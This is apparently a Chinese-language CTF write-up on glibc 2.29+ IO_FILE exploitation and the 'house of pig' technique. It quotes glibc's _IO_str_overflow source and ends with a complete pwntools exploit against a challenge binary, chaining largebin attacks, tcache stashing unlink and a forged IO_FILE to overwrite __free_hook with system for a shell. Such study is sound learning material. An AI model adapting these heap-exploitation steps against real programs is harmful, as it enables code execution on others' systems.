glibc2.29以上 IO_FILE 及 house of pig
擺爛很長時間之後,終於下定決心來看點新的東西。正好 winmt 師傅前不久把他 pig 修好的附件發給我了,我就藉此來學習一下新版本的 IO_FILE 及 house of pig。
新版本的 IO_FILE 利用的函式是老版本中喜歡用的 _IO_str_overflow,我們來看一下 glibc 2.29 下的_IO_str_overflow 的原始碼
int _IO_str_overflow (FILE *fp, int c) { int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES)return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base;if (pos >= (size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; }
裡面呼叫了 malloc ,memcpy,free 函式,且通過偽造 IO_FILE 結構,我們可以控制 malloc 的大小,memcpy 的引數等,藉此我們就可以大致完成接下來 house of pig 的利用了。但是我這裡先記敘一個也是通過這個函式來進行 ORW 的方法。我們觀察這個函式在 glibc 2.29 裡的彙編
注意到有 mov rdx,[rdi + 0x28] 的操作也就是說我們可以嘗試通過 rdi 來控制 rdx,並且此時的 rdi 就是 fake IO_FILE 結構體的首地址,通過 largebin attack 即可控制 rdx,而 glibc 2.29 及以上的 setcontext 裡由原來的 rdi 控制暫存器轉變為由 rdx 控制暫存器。所以我們一旦利用這個函式進行攻擊那麼就不需要尋找特定的 gadget 來對暫存器進行轉換,並且這個函式中的轉換是在呼叫 malloc 之前。我們如果事先把 __malloc_hook 改為 setcontext 的地址,並且提前佈置好 ORW 的位置(把 srop_addr 放在 _IO_write_ptr 上),那麼再呼叫 _IO_str_overflow 的時候就會先控制好 rdx 暫存器,再通過 __malloc_hook 來觸發 setcontext 來進行對 rsp ,rip 的控制,從而控制程式執行流來執行 ORW。
好了現在下面講 house of pig 這個操作,其主要原理在上面已經提到,就是利用 _IO_str_overflow 裡的 malloc,memcpy,free函式的連續呼叫。通過合理佈局把 __free_hook - 0x10 的位置鏈入 tcache 中,再通過偽造的 IO_FILE 來使得 malloc 時可以把 __free_hook - 0x10 申請出來,並且可以通過 memcpy 把 system_addr 複製到 __free_hook 中,最後即可通過 free(old_buf) 來 get shell。
從上面原始碼 size_t new_size = 2 * old_blen + 100; 可知 malloc 的 size = 2*( _IO_buf_end - _IO_buf_base) + 100
附上exp:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./pig') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content): s.sendlineafter(b'Choice: ' , b'1') s.sendlineafter(b'size: ' , str(size)) s.sendlineafter(b'message: ' , content) def show(index): s.sendlineafter(b'Choice: ' , b'2') s.sendlineafter(b'index: ' , str(index)) def edit(index,content): s.sendlineafter(b'Choice: ' , b'3') s.sendlineafter(b'index: ' , str(index)) s.sendafter(b'message: ' , content) def delete(index): s.sendlineafter(b'Choice: ' , b'4') s.sendlineafter(b'index: ' , str(index)) def change(user): s.sendlineafter(b'Choice: ' , b'5') if (user == 1): s.sendlineafter(b'user:\n' , b'A\x01\x95\xc9\x1c') elif (user == 2): s.sendlineafter(b'user:\n' , b'B\x01\x87\xc3\x19') elif (user == 3): s.sendlineafter(b'user:\n' , b'C\x01\xf7\x3c\x32') #----- prepare for tcache stashing unlink attack change(2) for i in range(5): add(0x90 , b'B'*0x28) # B0-B4 delete(i) # B0-B4 change(1) add(0x150 , b'A'*0x68) # A0 for i in range(7): add(0x150 , b'A'*0x68) # A1-A7 delete(i+1) # A1-A7 delete(0) change(2) add(0xb0 , b'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0 change(1) add(0x180 , b'A'*0x78) # A8 for i in range(7): add(0x180 , b'A'*0x78) # A9-A15 delete(i+9) delete(8) change(2) add(0xe0 , b'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0 #----- leak libc_base and heap_base change(1) add(0x430 , b'A'*0x158) # A16 change(2) add(0xf0 , b'B'*0x48) # B7 change(1) delete(16) change(2) add(0x440 , b'B'*0x158) # B8 throw A16 to largebin change(1) show(16) s.recvuntil(b'message is: ') libc_base = u64(s.recv(6).ljust(8 , b'\x00')) - 0x1ebfe0 success('libc_base=>' + hex(libc_base)) system_addr = libc_base + libc.sym['system'] __free_hook = libc_base + libc.sym['__free_hook'] _IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_str_jumps = libc_base + 0x1ed560 edit(16 , b'A'*0xf + b'\n') show(16) s.recvuntil(b'message is: ' + b'A'*0xf + b'\n') heap_base = u64(s.recv(6).ljust(8 , b'\x00')) - 0x13940 success('heap_base=>' + hex(heap_base)) #----- first largebin attack edit(16 , p64(libc_base + 0x1ebfe0)*2 + p64(heap_base + 0x13940)*2 + b'\n') add(0x430 , b'A'*0x158) # A17 add(0x430 , b'A'*0x158) # A18 add(0x430 , b'A'*0x158) # A19 change(2) delete(8) add(0x450 , b'B'*0x168) # B9 throw B8 to largebin change(1) delete(17) # throw A17 to unsortedbin change(2) edit(8 , p64(0) + p64(__free_hook - 0x28) + b'\n') change(3) add(0xa0 , b'C'*0x28) # c0 triger largebin attack to write a heap_addr to __free_hook - 8 change(2) edit(8 , p64(heap_base + 0x13e80)*2 + b'\n') # recover #----- second largebin attack change(3) add(0x380 , b'C'*0x118) # c1 clean unsortedbin change(1) delete(19) change(2) edit(8 , p64(0) + p64(_IO_list_all - 0x20) + b'\n') change(3) add(0xa0 , b'C'*0x28) # c2 tiger largebin attack to write a heap_addr to _IO_list_all change(2) edit(8 , p64(heap_base + 0x13e80)*2 + b'\n') # recover #------ tcache stashing unlink attack change(1) payload = b'A'*0x50 + p64(heap_base + 0x12280) + p64(__free_hook - 0x20) + b'\n' edit(8 , payload) change(3) payload = b'\x00'*0x18 + p64(heap_base + 0x147c0) payload = payload.ljust(0x158 , b'\x00') add(0x440 , payload) # c3 change fake file _chain add(0x90 , b'C'*0x28) # c4 triger tcache stashing unlink attack to put __free_hook-0x10 to tcache fake_IO_FILE = p64(0) # _IO_read_end fake_IO_FILE+= p64(0) # _IO_read_base fake_IO_FILE+= p64(1) # _IO_write_base fake_IO_FILE+= p64(0xfffffffffffff) # _IO_write_ptr fake_IO_FILE+= p64(0) # _IO_write_end fake_IO_FILE+= p64(heap_base + 0x148a0) # _IO_buf_base fake_IO_FILE+= p64(heap_base + 0x148b8) # _IO_buf_end fake_IO_FILE = fake_IO_FILE.ljust(0xb0 , b'\x00') fake_IO_FILE+= p64(0) # _mode = 0 fake_IO_FILE = fake_IO_FILE.ljust(0xc8 , b'\x00') fake_IO_FILE+= p64(_IO_str_jumps) # _vtable payload = fake_IO_FILE + b'/bin/sh\x00' + p64(system_addr)*2 s.sendlineafter(b'Gift:' , payload) s.sendlineafter(b'Choice: ' , b'5') s.sendline(b'') gdb.attach(s) s.interactive()
附件
提取碼:976p
參考連結:
https://mp.weixin.qq.com/s/U3FmOwXeWzq_FvwLTk1-Zg